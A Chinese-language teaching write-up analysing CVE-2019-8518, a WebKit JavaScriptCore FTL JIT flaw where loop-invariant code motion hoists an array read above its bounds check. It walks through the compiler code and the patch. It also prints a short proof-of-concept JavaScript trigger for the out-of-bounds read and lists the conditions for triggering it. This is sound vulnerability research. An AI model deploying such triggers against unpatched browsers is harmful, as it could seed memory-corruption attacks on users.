CVE-2019-8518漏洞分析
字数 1476 2025-08-24 07:48:33

CVE-2019-8518漏洞分析教学文档

漏洞概述

CVE-2019-8518是WebKit JavaScriptCore引擎中的一个漏洞,涉及FTL JIT编译器中的循环不变代码外提(LICM)优化错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现越界内存访问(OOB),可能导致任意代码执行。

前置知识

LICM (Loop-Invariant Code Motion)

循环不变代码外提是一种编译器优化技术,它将循环中不随迭代变化的代码移动到循环外部(preheader)执行,从而提高性能。在理想情况下,这种优化不应改变程序的行为。

DFG (Data Flow Graph) 和 FTL (Faster Than Light)

WebKit的JavaScript引擎使用多层JIT编译:

  1. Baseline JIT - 基础优化
  2. DFG JIT - 中级优化
  3. FTL JIT - 高级优化(使用LLVM后端)

漏洞技术分析

漏洞根本原因

FTL JIT的LICM优化错误地将GetByVal操作提升到循环preheader,而没有同时提升其关联的边界检查(CheckInBounds),导致可以绕过数组边界检查,造成越界访问。

关键代码分析

LICM阶段 - attemptHoist()函数

LICM决定是否提升一个节点时,会检查以下条件:

// WebKit/Source/JavaScriptCore/dfg/DFGLICMPhase.cpp
if (!data.preHeader) {
    return false;
}
if (!data.preHeader->cfaDidFinish) {
    return false;
}
if (!edgesDominate(m_graph, node, data.preHeader)) {
    return tryHoistChecks();
}
if (doesWrites(m_graph, node)) {
    return tryHoistChecks();
}
if (readsOverlap(m_graph, node, data.writes)) {
    return tryHoistChecks();
}
if (addsBlindSpeculation && !canSpeculateBlindly) {
    return tryHoistChecks();
}
if (!safeToExecute(m_state, m_graph, node)) {
    // 尝试通过插入空检查来挽救
    // ...
    return tryHoistChecks();
}

edgesDominate检查

关键函数edgesDominate决定一个节点的所有子节点是否"支配"目标块:

// WebKit/Source/JavaScriptCore/dfg/DFGEdgeDominates.h
inline bool edgesDominate(Graph& graph, Node* node, BasicBlock* block) {
    EdgeDominates edgeDominates(graph, block);
    DFG_NODE_DO_TO_CHILDREN(graph, node, edgeDominates);
    return edgeDominates.result();
}

支配性检查逻辑:

// WebKit/Source/WTF/wtf/Dominators.h
bool strictlyDominates(typename Graph::Node from, typename Graph::Node to) const {
    return m_data[to].preNumber > m_data[from].preNumber && 
           m_data[to].postNumber < m_data[from].postNumber;
}

bool dominates(typename Graph::Node from, typename Graph::Node to) const {
    return from == to || strictlyDominates(from, to);
}

DFGSSALoweringPhase

handleNode()函数中,GetByVal节点会调用lowerBoundsCheck()

case GetByVal: {
    lowerBoundsCheck(m_graph.varArgChild(m_node, 0), 
                    m_graph.varArgChild(m_node, 1), 
                    m_graph.varArgChild(m_node, 2));
    break;
}

lowerBoundsCheck函数会插入边界检查节点:

bool lowerBoundsCheck(Edge base, Edge index, Edge storage) {
    // ...
    Node* length = m_insertionSet.insertNode(m_nodeIndex, SpecInt32Only, op, 
                                            m_node->origin, 
                                            OpInfo(m_node->arrayMode().asWord()), 
                                            Edge(base.node(), KnownCellUse), 
                                            storage);
    
    m_insertionSet.insertNode(m_nodeIndex, SpecInt32Only, CheckInBounds, 
                             m_node->origin, index, Edge(length, KnownInt32Use));
    return true;
}

漏洞触发流程

  1. 初始IR生成

    • 循环头加载数组长度
    • 循环体内包含:
      • 结构检查(CheckStructure)
      • 属性存储(StoreProperty)
      • 边界检查(CheckBounds)
      • 数组访问(GetByVal)
  2. LICM优化前

    # Loop header
    len = LoadArrayLength v8
    # Loop body
    CheckStructure v8, expected_structure_id
    StoreProperty v8, 'a', 42
    CheckBounds -698666199, len
    GetByVal v8, -698666199
    
  3. LICM优化过程

    • CheckStructure可以被提升(不依赖循环变量)
    • CheckBounds不能被提升(依赖循环头中的len
    • GetByVal被错误提升(被认为不依赖循环变量)
  4. LICM优化后

    StructureCheck v8, expected_structure_id
    GetByVal v8, -698666199  # 边界检查被绕过!
    # Loop header
    len = LoadArrayLength v8
    # Loop body
    StoreProperty v8, 'a', 42
    CheckBounds -698666199, len  # 检查太晚了
    

补丁分析

补丁修改了lowerBoundsCheck函数,确保GetByVal依赖于边界检查:

Node* checkInBounds = m_insertionSet.insertNode(
    m_nodeIndex, SpecInt32Only, CheckInBounds, 
    m_node->origin, index, Edge(length, KnownInt32Use));

AdjacencyList adjacencyList = m_graph.copyVarargChildren(m_node);
m_graph.m_varArgChildren.append(Edge(checkInBounds, UntypedUse));
adjacencyList.setNumChildren(adjacencyList.numChildren() + 1);
m_node->children = adjacencyList;

POC分析

// 使用 --thresholdForFTLOptimizeAfterWarmUp=1000 运行
const v3 = [1337,1337,1337,1337];  // 第一个数组可能用于避免COW后备存储
const v6 = [1337,1337];

function v7(v8) {
    for (let v9 in v8) {
        v8.a = 42;  // 强制结构检查
        const v10 = v8[-698666199];  // 负索引访问
    }
}

while (true) {
    const v14 = v7(v6);
    const v15 = v7(1337);  // 非数组参数调用
}

POC关键点

  1. 属性访问v8.a = 42强制插入CheckStructure节点,确保数组类型正确
  2. 负索引访问v8[-698666199]使用非常大的负索引
  3. 混合参数调用
    • 使用数组v6调用保持JIT编译
    • 使用非数组1337调用防止过早bailout

漏洞利用条件

  1. 需要触发FTL JIT编译(通过循环多次执行)
  2. 需要混合数组和非数组参数调用函数
  3. 需要循环内的属性写入以强制结构检查
  4. 使用非常大的负索引访问数组元素

防御措施

  1. 确保GetByVal始终依赖于其边界检查
  2. 在LICM优化时保持内存访问的安全不变性
  3. 对提升的节点进行更严格的安全性验证

总结

CVE-2019-8518展示了JIT编译器优化过程中安全验证不足导致的严重漏洞。该漏洞的根本原因在于LICM优化错误地将内存访问操作与它的安全检查分离,破坏了程序的安全不变性。这种类型的漏洞强调了在编译器优化中保持安全属性的重要性,即使是以性能为代价。

CVE-2019-8518漏洞分析教学文档 漏洞概述 CVE-2019-8518是WebKit JavaScriptCore引擎中的一个漏洞,涉及FTL JIT编译器中的循环不变代码外提(LICM)优化错误。该漏洞允许攻击者通过精心构造的JavaScript代码实现越界内存访问(OOB),可能导致任意代码执行。 前置知识 LICM (Loop-Invariant Code Motion) 循环不变代码外提是一种编译器优化技术,它将循环中不随迭代变化的代码移动到循环外部(preheader)执行,从而提高性能。在理想情况下,这种优化不应改变程序的行为。 DFG (Data Flow Graph) 和 FTL (Faster Than Light) WebKit的JavaScript引擎使用多层JIT编译: Baseline JIT - 基础优化 DFG JIT - 中级优化 FTL JIT - 高级优化(使用LLVM后端) 漏洞技术分析 漏洞根本原因 FTL JIT的LICM优化错误地将 GetByVal 操作提升到循环preheader,而没有同时提升其关联的边界检查( CheckInBounds ),导致可以绕过数组边界检查,造成越界访问。 关键代码分析 LICM阶段 - attemptHoist()函数 LICM决定是否提升一个节点时,会检查以下条件: edgesDominate检查 关键函数 edgesDominate 决定一个节点的所有子节点是否"支配"目标块: 支配性检查逻辑: DFGSSALoweringPhase 在 handleNode() 函数中, GetByVal 节点会调用 lowerBoundsCheck() : lowerBoundsCheck 函数会插入边界检查节点: 漏洞触发流程 初始IR生成 : 循环头加载数组长度 循环体内包含: 结构检查( CheckStructure ) 属性存储( StoreProperty ) 边界检查( CheckBounds ) 数组访问( GetByVal ) LICM优化前 : LICM优化过程 : CheckStructure 可以被提升(不依赖循环变量) CheckBounds 不能被提升(依赖循环头中的 len ) GetByVal 被错误提升(被认为不依赖循环变量) LICM优化后 : 补丁分析 补丁修改了 lowerBoundsCheck 函数,确保 GetByVal 依赖于边界检查: POC分析 POC关键点 属性访问 : v8.a = 42 强制插入 CheckStructure 节点,确保数组类型正确 负索引访问 : v8[-698666199] 使用非常大的负索引 混合参数调用 : 使用数组 v6 调用保持JIT编译 使用非数组 1337 调用防止过早bailout 漏洞利用条件 需要触发FTL JIT编译(通过循环多次执行) 需要混合数组和非数组参数调用函数 需要循环内的属性写入以强制结构检查 使用非常大的负索引访问数组元素 防御措施 确保 GetByVal 始终依赖于其边界检查 在LICM优化时保持内存访问的安全不变性 对提升的节点进行更严格的安全性验证 总结 CVE-2019-8518展示了JIT编译器优化过程中安全验证不足导致的严重漏洞。该漏洞的根本原因在于LICM优化错误地将内存访问操作与它的安全检查分离,破坏了程序的安全不变性。这种类型的漏洞强调了在编译器优化中保持安全属性的重要性,即使是以性能为代价。